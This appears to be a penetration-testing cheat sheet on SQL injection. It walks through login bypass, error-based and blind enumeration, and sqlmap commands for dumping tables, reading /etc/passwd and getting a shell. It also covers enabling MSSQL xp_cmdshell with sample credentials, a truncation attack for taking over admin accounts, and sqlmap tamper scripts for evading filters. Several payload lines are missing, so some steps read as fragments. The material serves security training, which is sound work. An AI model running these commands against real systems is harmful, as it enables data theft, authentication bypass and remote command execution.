SQL Injection Methods
First method to try is manually throwing a ' into different fields and looking for an error
Second method to try for basic sqli is using nmap's nse scripting engine
nmap -sV --script=http-sql-injection <target>Next, try some automation with burp suite
Open Burp Suite
Capture a request on a page you want to test
Move the equest to Intruder
Clear all positions but the ones that we want to test. Things like username, password, url
Load up payload with /usr/share/wordlists/wfuzz/injection/SQL.txt
Run it and prayIf we find something, we can try manual enumeration, data exfiltration, and maybe execute some shell commands
How does sql-injections work?
So we have a website that is written in php. We have a login functionality, where the code looks like this:
mysql_connect("localhost", "pelle", "mySecretPassowrd") or die(mysql_error());
mysql_select_db("myHomepage");
if ($_POST['uname'] != ""){
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
}So the user input is not filtered or sanitized in any way. Which means that what the users puts in in the login-form will be executed my mysql. So just like in xss-injections we just try to escape the input field to be able to execute sql-commands. So if we input the following into the user-field and password-field in the login:
The query will look like this:
Since they both become true the database will retrieve all users and we will be able to bypass the login.
If you know the username you could of course use that and then only inject on the password parameter.
SQLmap
Sqlmap is a great tool to perform sql-injections. Here is the manual. https://github.com/sqlmapproject/sqlmap/wiki/Usage
Using sqlmap with login-page
So you need to authenticate before you can access the vulnerable paramter.
You just cature the request using burp suite, and save the requiest in a file. Then your run
Since the cookie is saved in the reuqest sqlmap can do it.
Crawl a page to find sql-injections
Dumping a database or table
Here we are dumping the database Webapp and the table Users.
Use proxy
Proxy credencials
Login bypass
This is the most classic, standard first test:
Then you have:
Sql-injections manually
Sqlmap is good, but it is not very stealthy. And it can generate a lot of traffic. And also it is good to understand the vulnerability in the cote and not just run tools. So let's learn sql-injections the manual way.
The two main ways for perform a sql-injection: error based or blind.
Error-bases DB enumeration
If we manage to find an error-message after a broken sql-query, we can use that to try to map out the database structure.
For example, if we have a url that end with
Step 1 - Add the tick '
So first we should try to break the sql-syntaxt by adding a '. We should first ad a ' or a ".
If the page then returns a blank page or a page with a sql-error we know that the page it vulnerable.
Step 2 - Enumerate columns
So in order to enumerate the columns of a table we can use the order by
Order by 1 means sort by values of the first column from the result set. Order by 2 means sort by values of the second column from the result set.
So it is basically just a tool to order the data in a table. But we can use it to find out how many columns a table has. Because if we do order by 10 when there really only is 9 columns sql will throw an error. And we will know how many columns the table has.
So you just increase the number (or do a binary tree search if you want tot do it a bit faster) until you get an error, and you know how many columns the table has.
Step 3 - Find space to output db
Now we need to know which columns are being output on the webpage. It could be that not all data from the database is worthwhile to output, so maybe only column 1 and 3 are being outputted to the website.
To find out which columns are being outputted we can use the union select command. So we do the command like this
For all the columns that exists. This will return the numbers of the columns that are being outputted on the website. Take note of which these columns are.
Step 4 - Start enumerating the database
Now we can use that field to start outputing data. For example if columns number five has been visible in step 3, we can use that to output the data.
Here is a list of data we can retrieve from the database. Some of the syntaxes may difference depending on the database engine (mysql, mssql, postgres).
Blind sql-injection
We say that it is blind because we do not have access to the error log. This make the whole process a lot more complicated. But it is of course still possible to exploit.
Using sleep
Since we do not have access to the logs we do not know if our commands are syntaxically correct or not. To know if it is correct or not we can however use the sleep statement.
If it lods for four seconds exta we know that the database is processing our sleep() command.
Get shell from sql-injection
The good part about mysql from a hacker-perspective is that you can actaully use slq to write files to the system. The will let us write a backdoor to the system that we can use.
Load files
UNION SELECT 1, load_file(/etc/passwd) #
Write files
MSSQL - xp_cmdshell
sqsh
Next, we are using the sqsh tool in the kali machine. To check whether the. XP command shell option is enabled on the target machine or not. The syntax for using this tool is quite simple, first type sqsh with the -S and the Target IP address followed by -U with the username of the server admin and -P with the password for that particular user as shown in the image below.
sqsh -S 192.168.1.146 -U sa -P "Password@1"xp_cmdshell 'whoami';go

As we can observe from the image, the SQL Server had blocked access to the procedure command shell; therefore, we will enable it now. To enable the XP command shell on the target machine using SQSH we will be running a series of commands that would first show the advanced options available within the SP configuration option. Then we will choose to execute the XP command shell option and activate it. Finally, we will run the reconfigure command that will enable the XP commercial option on the target machine, as shown in the image given below.
EXEC sp_configure 'show advanced options', 1;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;goxp_cmdshell 'whoami';go

The activity can be verified by checking similarly to what we did with the GUI option as before.

mssqlclient.py
MS SQL consists of windows services having service accounts. Whenever an instance of SQLserver is installed, a set of Windows services is also installed with unique names. Below are the SQL Server account types:
Windows Accounts
SQL Server Login
DB Users
To use mssqlclient.py, we need to specify the username, domain, password, the target IP address, and the Port hosting the MSSQL service as shown in the image. here we can use the command enable_xp_cmdshell to enable command shell functionality on the target machine.
python3 mssqlclient.py WORKGROUP/sa:Password@[email protected] -port 1433enable_xp_cmdshell

Again, we can verify it similarly to what we did with the GUI approach and the sqsh approach. Here we can see that we were able to enable the XP command shell functionality with the help of mssqlclient, which is a part of the Impact toolkit.

Previously, mssqlclient.py is used to connect the database through database credentials having username SA. Now we are connecting with the database by windowโs user login credential.

python3 mssqlclient.py ignite:'Password@123'@192.168.1.146 -windows-authenable_xp_cmdshell

Truncating Mysql Vulerability
Basically this happens when you don't validate the length of user input. Two things are needed for it to work:
Mysql does not make comparisons in binary mode. This means that "admin" and "admin " are the same.
If the username column in the database has a character-limit the rest of the characters are truncated, that is removed. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
With this information we can create a new admin-user and have our own password set to it. So if the max-length is 20 characters we can insert the following string
This means that the "removed" part will be removed/truncated/deleted. And the trailing spaces will be removed upon insert in the database. So it will effectively be inserted as "admin".
References
http://resources.infosecinstitute.com/sql-truncation-attack/ http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet http://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/
Basic arguments for SQLmap
Generic
Retrieve Information
Internal
DB data
Injection place
From Burp/ZAP capture
Capture the request and create a req.txt filesqlmap -r req.txt --current-user
GET Request Injection
sqlmap -u "http://example.com/?id=1" -p idsqlmap -u "http://example.com/?id=*" -p id
POST Request Injection
sqlmap -u "http://example.com" --data "username=*&password=*"
Injections in Headers and other HTTP Methods
Indicate string when injection is successful
--string="string_showed_when_TRUE"
Eval
Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it:sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Shell
Read File
--file-read=/etc/passwd
Crawl a website with SQLmap and auto-exploit
Second Order Injection
Customizing Injection
Set a suffix
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Prefix
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Help finding boolean injection
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Remember that you can create your own tamper in python and it's very simple. You can find a tamper example in the Second Order Injection page here.--tamper=name_of_the_tamper#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper
Description
apostrophemask.py
Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py
Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py
Appends encoded NULL byte character at the end of payload
base64encode.py
Base64 all characters in a given payload
between.py
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py
Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py
Double url-encodes all characters in a given payload (not processing already encoded)
commalesslimit.py
Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py
Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
concat2concatws.py
Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py
Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py
Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022"
charunicodeescape.py
Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022"
equaltolike.py
Replaces all occurances of operator equal ('=') with operator 'LIKE'
escapequotes.py
Slash escape quotes (' and ")
greatest.py
Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py
Adds versioned MySQL comment before each keyword
ifnull2ifisnull.py
Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
modsecurityversioned.py
Embraces complete query with versioned comment
modsecurityzeroversioned.py
Embraces complete query with zero-versioned comment
multiplespaces.py
Adds multiple spaces around SQL keywords
nonrecursivereplacement.py
Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
percentage.py
Adds a percentage sign ('%') infront of each character
overlongutf8.py
Converts all characters in a given payload (not processing already encoded)
randomcase.py
Replaces each keyword character with random case value
randomcomments.py
Add random comments to SQL keywords
securesphere.py
Appends special crafted string
sp_password.py
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py
Replaces space character (' ') with comments
space2dash.py
Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py
Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py
Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py
Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.py
Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py
Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py
Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py
Replaces space character (' ') with plus ('+')
space2randomblank.py
Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py
Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py
Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py
Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py
Replaces each keyword character with upper case value 'INSERT'
varnish.py
Append a HTTP header 'X-originating-IP'
versionedkeywords.py
Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py
Encloses each keyword with versioned MySQL comment
xforwardedfor.py
Append a fake HTTP header 'X-Forwarded-For'
Last updated